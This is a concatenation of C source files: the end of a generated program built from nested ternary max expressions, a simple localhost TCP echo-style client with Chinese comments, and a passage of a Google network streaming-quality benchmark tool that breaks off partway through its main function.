((5.0 + x_11) > (3.0 + x_12)? (5.0 + x_11) : (3.0 + x_12)) : ((6.0 + x_13) > (1.0 + x_14)? (6.0 + x_13) : (1.0 + x_14)))) : ((((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) > (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29)))? (((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) > ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))? ((13.0 + x_15) > (20.0 + x_16)? (13.0 + x_15) : (20.0 + x_16)) : ((19.0 + x_17) > (18.0 + x_18)? (19.0 + x_17) : (18.0 + x_18))) : (((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) > ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))? ((1.0 + x_22) > (14.0 + x_24)? (1.0 + x_22) : (14.0 + x_24)) : ((12.0 + x_28) > (17.0 + x_29)? (12.0 + x_28) : (17.0 + x_29))))); x_30_ = (((((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) > (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))? (((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) : (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))) > ((((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) > (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31)))? (((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) : (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))))? ((((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) > (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))? (((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) > ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))? ((4.0 + x_0) > (8.0 + x_1)? (4.0 + x_0) : (8.0 + x_1)) : ((12.0 + x_2) > (20.0 + x_7)? (12.0 + x_2) : (20.0 + x_7))) : (((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) > ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15))? ((18.0 + x_8) > (19.0 + x_12)? (18.0 + x_8) : (19.0 + x_12)) : ((13.0 + x_14) > (17.0 + x_15)? (13.0 + x_14) : (17.0 + x_15)))) : ((((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) > (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31)))? (((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) > ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))? ((6.0 + x_18) > (17.0 + x_20)? (6.0 + x_18) : (17.0 + x_20)) : ((5.0 + x_25) > (7.0 + x_26)? (5.0 + x_25) : (7.0 + x_26))) : (((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) > ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))? ((18.0 + x_27) > (9.0 + x_28)? (18.0 + x_27) : (9.0 + x_28)) : ((7.0 + x_29) > (7.0 + x_31)? (7.0 + x_29) : (7.0 + x_31))))); x_31_ = (((((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) > (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))? (((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) : (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))) > ((((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) > (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30)))? (((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) : (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))))? ((((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) > (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))? (((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) > ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))? ((12.0 + x_1) > (13.0 + x_3)? (12.0 + x_1) : (13.0 + x_3)) : ((2.0 + x_6) > (8.0 + x_7)? (2.0 + x_6) : (8.0 + x_7))) : (((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) > ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13))? ((10.0 + x_8) > (5.0 + x_11)? (10.0 + x_8) : (5.0 + x_11)) : ((2.0 + x_12) > (13.0 + x_13)? (2.0 + x_12) : (13.0 + x_13)))) : ((((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) > (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30)))? (((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) > ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))? ((14.0 + x_15) > (3.0 + x_16)? (14.0 + x_15) : (3.0 + x_16)) : ((6.0 + x_18) > (2.0 + x_25)? (6.0 + x_18) : (2.0 + x_25))) : (((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) > ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))? ((9.0 + x_26) > (7.0 + x_28)? (9.0 + x_26) : (7.0 + x_28)) : ((9.0 + x_29) > (7.0 + x_30)? (9.0 + x_29) : (7.0 + x_30))))); x_0 = x_0_; x_1 = x_1_; x_2 = x_2_; x_3 = x_3_; x_4 = x_4_; x_5 = x_5_; x_6 = x_6_; x_7 = x_7_; x_8 = x_8_; x_9 = x_9_; x_10 = x_10_; x_11 = x_11_; x_12 = x_12_; x_13 = x_13_; x_14 = x_14_; x_15 = x_15_; x_16 = x_16_; x_17 = x_17_; x_18 = x_18_; x_19 = x_19_; x_20 = x_20_; x_21 = x_21_; x_22 = x_22_; x_23 = x_23_; x_24 = x_24_; x_25 = x_25_; x_26 = x_26_; x_27 = x_27_; x_28 = x_28_; x_29 = x_29_; x_30 = x_30_; x_31 = x_31_; } return 0; }

the_stack_data/184518620.c

/* Copyright (C) 2018 * Ltd. All rights reserved. * Create date : 2018-08-30 07:24:06 *================================================*/ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #define MAXBUFFSIZE 1024 /* 利用socket的TCP client * 此程序会连线TCP server，并将键盘输入的字符串传送给server。 */ int main(int argc,char *argv[]) { int sockfd,numbytes; char buf[MAXBUFFSIZE]; struct sockaddr_in their_addr; printf("break!"); /* 创立套接字，使用TCP协议 */ while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1); printf("创建socket套接字\n"); /* 填写sockaddr_in结构*/ their_addr.sin_family = AF_INET; their_addr.sin_port = htons(8000); their_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); bzero(&(their_addr.sin_zero), 8); /* 客户端进行连接服务器端 */ printf("尝试连接到服务器端...\n"); if(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr) ) < 0) { perror("Connect to server failed !"); return 1; } printf("成功连接到服务器端!\n"); /* struct sockaddr_in clientAddr;//客户端地址 int clientAddrLen = sizeof(clientAddr); char ipAddress[INET_ADDRSTRLEN];//保存点分十进制的ip地址 getsockname(sockfd, (struct sockaddr*)&clientAddr, &clientAddrLen);//获取sockfd表示的连接上的本地地址 printf("client:client address = %s:%d\n", inet_ntop(AF_INET, &clientAddr.sin_addr, ipAddress, sizeof(ipAddress)), ntohs(clientAddr.sin_port)); */ /* 接收由server端传来的信息*/ printf("开始接收服务器端传输的数据：\n"); numbytes = recv(sockfd, buf, MAXBUFFSIZE,0); buf[numbytes]='\0'; printf("%s\n",buf); while(1) { /* printf("Please enter something:"); scanf("%s",buf); */ bzero(buf,sizeof(buf)); /* 从标准输入设备取得字符串*/ read(STDIN_FILENO,buf,sizeof(buf)); /* 发送数据 */ numbytes = send(sockfd, buf, strlen(buf), 0); /* 接收数据 */ numbytes=recv(sockfd,buf,MAXBUFFSIZE,0); buf[numbytes]='\0'; printf("received:%s\n",buf); if(numbytes == 0) break; } close(sockfd); return 0; }

the_stack_data/31388557.c

/* * Copyright 2014 Google Inc. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * A simple benchmark tool intended for long-term medium-transfer-rate * tests. The idea is we send data at a fixed average rate, then measure * how often, how much, and for how long we depart from the average on the * receiving side. * * This is hopefully a good indicator of what kind of streaming video * quality you'd expect over a given link. */ #include <arpa/inet.h> #include <errno.h> #include <memory.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/select.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define MAGIC 0x424c4f50 // magic number for Request packets #define SERVER_PORT 4947 // port number to listen on #define BUFSIZE (1024*1024) // maximum chunk size to read/write #define MIN_PERIODS_PER_SEC 10 // minimum chunks per sec to write #define DROPOUT_MIN_USEC (100*1000) // print any dropout longer than this #define CLOCK_RESET_USEC (50*1000) // ignore clock jumps more than this #define MAX_CHILDREN 8 // limit to this many connections #define MAX_MBITS 1000 // max speed per connection #define _STR(n) #n #define STR(n) _STR(n) const struct timespec second = { .tv_sec = 1, .tv_nsec = 0, }; struct Request { uint32_t magic; // magic number to reject bogus packets or wrong version int32_t megabits; // requested data trasfer rate, in Mbits/sec }; char buf[BUFSIZE]; int want_to_die; static void sighandler_die(int sig) { want_to_die = 1; } // Returns the kernel monotonic timestamp in microseconds. // This function never returns the value 0; it returns 1 instead, so that // 0 can be used as a magic value. #ifdef __MACH__ // MacOS X doesn't have clock_gettime() #include <mach/mach.h> #include <mach/mach_time.h> static long long monotime(void) { static mach_timebase_info_data_t timebase; if (!timebase.denom) mach_timebase_info(&timebase); long long result = (mach_absolute_time() * timebase.numer / timebase.denom / 1000); return !result ? 1 : result; } #else static long long monotime(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts) < 0) { perror("clock_gettime"); exit(98); // really should never happen, so don't try to recover } long long result = ts.tv_sec * 1000000LL + ts.tv_nsec / 1000; return !result ? 1 : result; } #endif static void usage_and_die(char *argv0) { fprintf(stderr, "\n" "Usage: %s <options...> (server mode)\n" " or: %s <options...> <server-ip> (client mode)\n" "\n" "Server specific:\n" " -P <number> limit to this many parallel connections\n" " -C <algo> override TCP congestion control algorithm\n" "Client specific:\n" " -b <Mbits/sec> Mbits per second\n" " -I <interface> set source interface to specified interface\n" " -s <number> consider test sufficient after <number> seconds connected\n" " -t <number> maximum time in seconds to run for\n", argv0, argv0); exit(99); } // Render the given sockaddr as a string. (Uses a static internal buffer // which is overwritten each time.) static const char *sockaddr_to_str(struct sockaddr *sa) { static char addrbuf[128]; void *aptr; int port; switch (sa->sa_family) { case AF_INET: aptr = &((struct sockaddr_in *)sa)->sin_addr; port = ntohs(((struct sockaddr_in *)sa)->sin_port); break; case AF_INET6: aptr = &((struct sockaddr_in6 *)sa)->sin6_addr; port = ntohs(((struct sockaddr_in6 *)sa)->sin6_port); break; default: return "unknown"; } addrbuf[0] = '['; if (!inet_ntop(sa->sa_family, aptr, addrbuf + 1, sizeof(addrbuf) - 1)) { perror("inet_ntop"); exit(98); } int addrlen = strlen(addrbuf); snprintf(addrbuf + addrlen, sizeof(addrbuf) - addrlen, "]:%d", port); return addrbuf; } int set_cong_ctl(int sock, const char *cong_ctl) { #ifdef TCP_CONGESTION if (setsockopt(sock, IPPROTO_TCP, TCP_CONGESTION, cong_ctl, strlen(cong_ctl)) != 0) { char buf[128]; int e = errno; snprintf(buf, sizeof(buf), "tcp_congestion('%s')", cong_ctl); errno = e; perror(buf); return -1; } else { fprintf(stderr, "tcp_congestion set to '%s'.\n", cong_ctl); } #endif return 0; } static int do_select(int sock, long long usec_timeout) { fd_set rfds; FD_ZERO(&rfds); FD_SET(sock, &rfds); struct timeval tv = { .tv_sec = usec_timeout / 1000000, .tv_usec = usec_timeout % 1000000, }; return select(sock + 1, &rfds, NULL, NULL, usec_timeout >= 0 ? &tv : NULL); } void run_server(int conn, struct sockaddr_in6 *remoteaddr, socklen_t remoteaddr_len) { fprintf(stderr, "incoming connection from %s\n", sockaddr_to_str((struct sockaddr *)remoteaddr)); struct Request req; ssize_t len = read(conn, &req, sizeof(req)); if (len < 0) { perror("read(req)"); return; } else if (len < (int)sizeof(req)) { fprintf(stderr, "read(req): short read (got %d bytes, expected %d)\n", (int)len, (int)sizeof(req)); return; } else if (ntohl(req.magic) != MAGIC) { fprintf(stderr, "read(req): wrong magic (got %08X, expected %08X)\n", (int)ntohl(req.magic), MAGIC); return; } long megabits_per_sec = ntohl(req.megabits); fprintf(stderr, "client requested %ld megabits/sec\n", megabits_per_sec); if (megabits_per_sec < 0 || megabits_per_sec > MAX_MBITS) { fprintf(stderr, "megabits/sec (%ld) must be > 0 and < %d, aborting.\n", megabits_per_sec, MAX_MBITS); return; } if (shutdown(conn, SHUT_RD)) { perror("shutdown(RD)"); return; } for (int i = 0; i < (int)(sizeof(buf)/sizeof(int)); i++) { ((int *)buf)[i] = random(); } // The recipient will be expecting its input to arrive in equal-spaced // intervals. It's cheating to send a giant block and then nothing // for a long time, although the average rate would technically be // the same. So we have both a time-based and byte-based limit // on the amount of data in a single write. long long total = 0; long long bytes_per_period = megabits_per_sec * 1000000LL / 8 / MIN_PERIODS_PER_SEC; if (bytes_per_period > 65536) bytes_per_period = 65536; long long start = monotime(); while (!want_to_die) { // Note on calculations: megabits/sec * microseconds = bits long long now = monotime(); long long goal = (now - start) * megabits_per_sec / 8; long long to_write = goal - total; if (to_write < bytes_per_period) { long long delay_nsec = (bytes_per_period - to_write) * 8 * 1000 / megabits_per_sec; struct timespec tx_delay = { .tv_sec = delay_nsec / 1000000000LL, .tv_nsec = delay_nsec % 1000000000LL, }; if (tx_delay.tv_sec) { fprintf(stderr, "Warning: client sleeping longer than 1 second.\n"); } if (nanosleep(&tx_delay, NULL)) { perror("nanosleep"); break; } continue; } if (to_write > (int)sizeof(buf)) { to_write = sizeof(buf); } ssize_t wrote = write(conn, buf, to_write); if (wrote < 0) { perror("write"); break; } total += wrote; } } int run_client(const char *remotename, const char *ifr_name, long megabits_per_sec, double sufficient) { int sock = -1, ret = 1, alive = 0; struct addrinfo *ai = NULL; struct addrinfo hints = { .ai_flags = AI_ADDRCONFIG | AI_V4MAPPED, .ai_family = AF_INET6, .ai_socktype = SOCK_STREAM, }; int err = getaddrinfo(remotename, STR(SERVER_PORT), &hints, &ai); double elapsed = 0; if (err != 0 || !ai) { fprintf(stderr, "getaddrinfo(%s): %s\n", remotename, gai_strerror(err)); return 1; } struct { long long disconnect_count; long long disconnect_usecs; long long drop_count; long long drop_maxdepth; long long drop_maxlength; } stats; memset(&stats, 0, sizeof(stats)); long long prestart_time = 0, start_time = 0, stop_time = 0; long long last_wait_time = 0, last_print_time = 0, now = 0; long long drop_start_time = 0, drop_depth = 0; long long total = 0, usec_offset = 0, last_usec_offset = 0; while (!want_to_die) { now = monotime(); if (start_time) { elapsed = (now - start_time) / 1e6; if (sufficient && elapsed > sufficient) { want_to_die = 1; } long long expected_bytes = megabits_per_sec * (now - start_time) / 8; long long offset = total - expected_bytes; usec_offset = offset * 8 / megabits_per_sec; // Note: see long-winded explanation ("the subtle part") below // for why we expect the offset to be positive/negative. if (usec_offset < 0 && last_usec_offset >= 0) { // network quality has dropped out. // For this dropout, we want to track both the depth (how many // seconds we fell behind, in total, and thus need to catch up) // as well as the length (how long it took to get back to // normal). Using a combination of the two, we can // calculate how much buffer space would be needed for a // particular reliability level, given that dropouts // may overlap (a new one begins before we recovered from // the last one). // // (For our purposes, drop_depth is always negative and // drop_length is always positive. Making depth negative // is not really that important, but it makes it easy // to tell them apart when you print them.) drop_start_time = now; drop_depth = 0; } else if (usec_offset >= 0 && last_usec_offset < 0) { // dropout is over - we've caught up again long long drop_length = now - drop_start_time; int interesting = drop_length >= DROPOUT_MIN_USEC; if (stats.drop_maxlength < drop_length) { stats.drop_maxlength = drop_length; interesting = 1; } if (stats.drop_maxdepth > drop_depth) { stats.drop_maxdepth = drop_depth; interesting = 1; } if (interesting) { stats.drop_count++; printf("dropout: %.3fs/%.3fs\n", drop_length / 1e6, drop_depth / 1e6); } drop_start_time = 0; } if (usec_offset < drop_depth) { drop_depth = usec_offset; } last_usec_offset = usec_offset; if (now - last_print_time >= 1000000) { printf("%11.3fs %ldMbps offset=%.3fs disconn=%lld/%.3fs " "drops=%lld/%.3fs/%.3fs\n", elapsed, megabits_per_sec, (usec_offset + stats.disconnect_usecs) / 1e6, stats.disconnect_count, (stats.disconnect_usecs + (stop_time ? now - stop_time : 0)) / 1e6, stats.drop_count, stats.drop_maxlength / 1e6, stats.drop_maxdepth / 1e6); fflush(stdout); last_print_time = now; } } if (sock < 0) { sock = socket(PF_INET6, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); goto error; } if (ifr_name) { fprintf(stderr, "binding to interface %s\n", ifr_name); if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifr_name, strlen(ifr_name)) < 0) { perror("setsockopt(SO_BINDTODEVICE)"); return 1; } } fprintf(stderr, "connecting to %s...\n", sockaddr_to_str(ai->ai_addr)); if (connect(sock, ai->ai_addr, ai->ai_addrlen) != 0) { perror("connect"); goto reopen; } now = monotime(); last_print_time = 0; struct Request req = { .magic = htonl(MAGIC), .megabits = htonl(megabits_per_sec), }; if (write(sock, &req, sizeof(req)) != sizeof(req)) { perror("write"); goto reopen; } if (shutdown(sock, SHUT_WR)) { perror("shutdown(WR)"); goto reopen; } alive = 1; } now = monotime(); long long delay = start_time ? 1000000 - ((now - start_time) % 1000000) : 1000000; int nfds = do_select(sock, delay > 0 ? delay : 0); if (nfds < 0 && errno != EINTR) { perror("select"); goto reopen; } now = monotime(); if (!prestart_time) { prestart_time = now; } if (nfds > 0) { ssize_t len = read(sock, buf, sizeof(buf)); /* * This is the subtle part: * * We count the start time as of when we *receive* the first *data*, * not just the time we connect. As of that moment, we know that * the other end has definitely sent us a fairly big chunk of data, * so we'll be able to read at least several packets' worth right * away. This means we start off ahead of schedule, with more bytes * than we mathematically expect at time zero. * * From that moment onward, we should be getting exactly the right * number of megabits_per_sec, except for minor network variations, * which is what we want to measure. If it does fall behind, it should * catch up again shortly after, and vice versa. * * Because of the way this works, our average position should always * be slightly > the goal, which means if we ever fall behind the * goal even by a little, we definitely experienced a network * problem. * * This method of measurement should match what actually happens when * streaming live media: when deciding how much you need to buffer * locally before starting playback, you start counting from the moment * you receive the first byte, because that's the first moment you * could ever consider starting to play back. */ if (!start_time) { start_time = last_print_time = now; } /* * We count TCP disconnects separately from other kinds of network * outages. The "disconnected time" is considered to be from * the moment we stop receiving data, up to the moment we start * receiving data again. */ if (stop_time) { stats.disconnect_usecs += now - stop_time; stop_time = 0; } if (len < 0) { perror("read"); goto reopen; } else if (len == 0) { fprintf(stderr, "received EOF\n"); goto reopen; } else { total += len; } } else { last_wait_time = now; if (!start_time && (last_wait_time - prestart_time > 10 * 1000000LL)) { /* We weren't actually alive after all, so ignore in stats.. */ alive = 0; goto reopen; } } continue; reopen: /* * TODO(willangley): implement exponential backoff during reopen * this may be required if disconnections are common on real * wireless networks, in order to give the isostream that was last * connected a greater likelihood of reconnecting. */ if (alive) { stop_time = now; stats.disconnect_count++; alive = 0; } fprintf(stderr, "retrying connection...\n"); if (nanosleep(&second, NULL)) { perror("nanosleep"); want_to_die = 1; } close(sock); prestart_time = 0; sock = -1; } ret = 0; error: if (ai) freeaddrinfo(ai); return ret; } int main(int argc, char **argv) { struct sockaddr_in6 listenaddr, remoteaddr; socklen_t remoteaddr_len; int sock = -1; int megabits_per_sec = 0; double sufficient = 0; int timeout = 0; int max_children = MAX_CHILDREN; const char *cong_ctl = NULL; int c; char *ifr_name = NULL; while ((c = getopt(argc, argv, "b:I:P:C:s:t:h?")) >= 0) { switch (c) { case 'b': megabits_per_sec = atoi(optarg); if (megabits_per_sec > MAX_MBITS || megabits_per_sec < 1) { fprintf(stderr, "%s: megabits per second must be > 0 and < %d\n", argv[0], MAX_MBITS); return 99; } break; case 'I': ifr_name = optarg; break; case 'P': max_children = atoi(optarg); if (max_children > MAX_CHILDREN || max_children < 1) { fprintf(stderr, "%s: max connections must be >= 0 and < %d\n", argv[0], MAX_CHILDREN); return 99; } break; case 'C': cong_ctl = optarg; #ifndef TCP_CONGESTION fprintf(stderr, "%s: no support for congestion control overrides.\n", argv[0]); return 99; #endif break; case 's': sufficient = atof(optarg); if (sufficient < 1) { fprintf(stderr, "%s: sufficient time must be >= 1\n", argv[0]); return 99; } break; case 't': timeout = atoi(optarg); if (timeout < 0) { fprintf(stderr, "%s: timeout must be an integer >= 0, not '%s'\n", argv[0], optarg); return 99; } break; case 'h': case '?': default: usage_and_die(argv[0]); break; } } struct sigaction act = { .sa_handler = sighandler_die, .sa_flags = SA_RESETHAND, }; sigaction(SIGINT, &act, NULL); sigaction(SIGALRM, &act, NULL); signal(SIGPIPE, SIG_IGN); if (argc - optind == 0) { fprintf(stderr, "server mode.\n"); sock = socket(PF_INET6, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); return 1; } int reuseval = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseval, sizeof(reuseval)) < 0) { perror("setsockopt(SO_REUSEADDR)"); return 1; } 